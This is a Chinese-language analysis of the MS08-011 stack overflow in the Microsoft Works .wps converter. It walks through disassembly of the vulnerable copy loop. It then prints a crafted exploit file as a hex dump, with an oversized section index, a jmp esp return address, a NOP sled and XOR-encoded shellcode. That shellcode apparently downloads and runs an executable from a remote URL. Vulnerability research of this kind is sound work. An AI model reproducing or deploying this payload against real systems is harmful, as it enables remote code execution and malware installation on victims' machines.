MS08-011 Microsoft Works 文件转换器中的漏洞分析

漏洞描述:
Microsoft Works 或 Microsoft Works Suite 版本打开特制的 Works (.wps) 文件,则这些漏洞可能
允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。攻击者可随后安装程序;
查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。


一如既往,是没有公布漏洞细节的,我以前也没有关注过,最近网上传有很多exploit,于是拿来练练
手,看看是如何触发漏洞的,分析一下漏洞细节。
Works文件转换器(wkcvqd01.dll)没有正确地验证节头索引表信息,
我们可以构造特殊的Works文档,造成栈溢出,覆盖函数的返回地址,就可以执行我们构造的shellcode了。


触发漏洞的是wkcvqd01.dll的如下代码
61091B10    55              push    ebp
61091B11    8BEC            mov     ebp, esp
61091B13    83EC 1C         sub     esp, 1C //注意这里,分配堆栈空间0x1C个字节
61091B16    56              push    esi
61091B17    8D45 E4         lea     eax, dword ptr [ebp-1C]
61091B1A    FF75 08         push    dword ptr [ebp+8]
61091B1D    8BF1            mov     esi, ecx
61091B1F    50              push    eax
61091B20    E8 4A0F0000     call    61092A6F //跟进去
61091B25    59              pop     ecx
61091B26    8D45 E4         lea     eax, dword ptr [ebp-1C]
61091B29    59              pop     ecx
61091B2A    50              push    eax
61091B2B    8BCE            mov     ecx, esi
61091B2D    E8 6AFFFFFF     call    61091A9C
61091B32    5E              pop     esi
61091B33    C9              leave
61091B34    C2 0400         retn    4

跟进去上面的函数
61092A6F    53              push    ebx
61092A70    8B5C24 08       mov     ebx, dword ptr [esp+8]
61092A74    56              push    esi
61092A75    8B7424 10       mov     esi, dword ptr [esp+10]
61092A79    66:8B06         mov     ax, word ptr [esi]//esi为存储wps结构数据的首地址
61092A7C    66:8903         mov     word ptr [ebx], ax
61092A7F    8D46 02         lea     eax, dword ptr [esi+2]
61092A82    50              push    eax
61092A83    8D43 02         lea     eax, dword ptr [ebx+2]
61092A86    50              push    eax
61092A87    E8 42FFFFFF     call    610929CE
61092A8C    66:8B46 08      mov     ax, word ptr [esi+8]//这里就是wps的节头索引表
61092A90    59              pop     ecx
61092A91    59              pop     ecx
61092A92    66:8943 0A      mov     word ptr [ebx+A], ax
61092A96    66:8B4B 0C      mov     cx, word ptr [ebx+C]
61092A9A    8A46 0A         mov     al, byte ptr [esi+A]
61092A9D    32C1            xor     al, cl
61092A9F    33D2            xor     edx, edx
61092AA1    83E0 03         and     eax, 3
61092AA4    33C1            xor     eax, ecx
61092AA6    66:8943 0C      mov     word ptr [ebx+C], ax
61092AAA    8A4E 0A         mov     cl, byte ptr [esi+A]
61092AAD    32C8            xor     cl, al
61092AAF    83E1 04         and     ecx, 4
61092AB2    33C8            xor     ecx, eax
61092AB4    66:894B 0C      mov     word ptr [ebx+C], cx
61092AB8    8A46 0A         mov     al, byte ptr [esi+A]
61092ABB    32C1            xor     al, cl
61092ABD    83E0 08         and     eax, 8
61092AC0    33C1            xor     eax, ecx
61092AC2    66:8943 0C      mov     word ptr [ebx+C], ax
61092AC6    66:8B4E 0A      mov     cx, word ptr [esi+A]
61092ACA    32C1            xor     al, cl
61092ACC    83E0 0F         and     eax, 0F
61092ACF    33C1            xor     eax, ecx
61092AD1    66:3953 0A      cmp     word ptr [ebx+A], dx
61092AD5    66:8943 0C      mov     word ptr [ebx+C], ax
61092AD9    7E 1E           jle     short 61092AF9
61092ADB    57              push    edi
61092ADC    8D4B 0E         lea     ecx, dword ptr [ebx+E]
61092ADF    8D46 0C         lea     eax, dword ptr [esi+C] //把wps结构的加上0x0c偏移处的数据复制到堆栈中去
61092AE2    8BF0            mov     esi, eax 
61092AE4    8BF9            mov     edi, ecx 
61092AE6    A5              movs    dword ptr es:[edi], dword ptr [esi]//注意开始只开辟了0x1c个字节的栈空间
61092AE7    A5              movs    dword ptr es:[edi], dword ptr [esi]
61092AE8    A5              movs    dword ptr es:[edi], dword ptr [esi]
61092AE9    0FBF73 0A       movsx   esi, word ptr [ebx+A] //把索引表的值作为一个内存拷贝计数器的次数
61092AED    42              inc     edx
61092AEE    83C0 0C         add     eax, 0C
61092AF1    83C1 0C         add     ecx, 0C
61092AF4    3BD6            cmp     edx, esi          //而这里每一次内存拷贝为0x0c个字节,所以这个计数器只要大于3,这个栈空间就溢出了
61092AF6  ^ 7C EA           jl      short 61092AE2    //
61092AF8    5F              pop     edi
61092AF9    5E              pop     esi
61092AFA    5B              pop     ebx
61092AFB    C3              retn

看看我们构造的wps的结构            
                                     
                              这就是我们构造的索引,它将写入堆栈数据长度为0x2F*12    
                                    |    |<---------------    
00000820h: 18 00 54 45 58 54 00 00 2F 00 00 00 00 00 00 00 ; ..TEXT../.......
-------------------------------------------------->|
00000830h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
                                                     ED 1E ; ..............?
00000840h: 96 7C //把0x7c961eed为jmp esp的地址,用它来覆盖返回地址
                 //接下来的是shellcode,它将位于堆栈的顶部
                 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 
00000850h: 90 90 EB 0E 5B 4B 33 C9 B1 FA 80 34 0B EE E2 FA ; ?[K3杀4.钼?
00000860h: EB 05 E8 ED FF FF FF 07 44 EE EE EE B1 8A 4F DE ; ?桧.D铑畋?
00000870h: EE EE EE 65 AE E2 65 9E F2 43 65 86 E6 65 19 84 ; 铑eCee.?
00000880h: EA B7 06 A4 EE EE EE 0C 17 86 81 80 EE EE 86 9B ; 攴.ゎ铑..铑
00000890h: 9C 82 83 BA 11 F8 65 06 06 DA EE EE EE 6F 02 EE ; ...陬铑o.?
000008a0h: ED EE EE 65 32 BD 86 EE ED EE EE 11 B8 EA 29 EA ; 眍2铐铑.戈)?
000008b0h: ED B2 9C 8F 9C 29 AA ED EA C0 8B 96 8B DD 2E BE ; 聿?昀.?
000008c0h: BE BD B9 BE 11 B8 FE 65 32 BE BD 11 B8 E6 11 B8 ; 窘咕.羹e2窘.告.?
000008d0h: E2 BF B8 65 9B D2 65 9A C0 96 ED 1B B8 65 98 CE ; 饪e.
000008e0h: ED 1B DD 27 A7 AF 43 ED 2B DD 35 E1 50 FE D4 38 ; ??НC??8
000008f0h: 9A E6 2F 25 E3 ED 34 AE 05 1F D5 F1 9B 09 B0 65 ; /%沩4?.振?
00000900h: B0 CA ED 33 88 65 E2 A5 65 B0 F2 ED 33 65 EA 65 ; 笆?猊e膀?e
00000910h: ED 2B 45 B0 B7 2D 06 BF 11 11 11 60 A0 E0 02 DD ; ?E胺-.?..`.?
00000920h: 24 64 B5 76 10 64 E0 90 36 0C 9D D8 F4 C1 9E 86 ; $d.d6.袅
00000930h: 9A 9A 9E D4 C1 C1 99 99 99 C0 DE 96 DB DC DE C0 ; 亮圮蘩
00000940h: 8D 80 C1 9A 8B 9D 9A C0 8B 96 8B EE 00 00 00 00 ; ....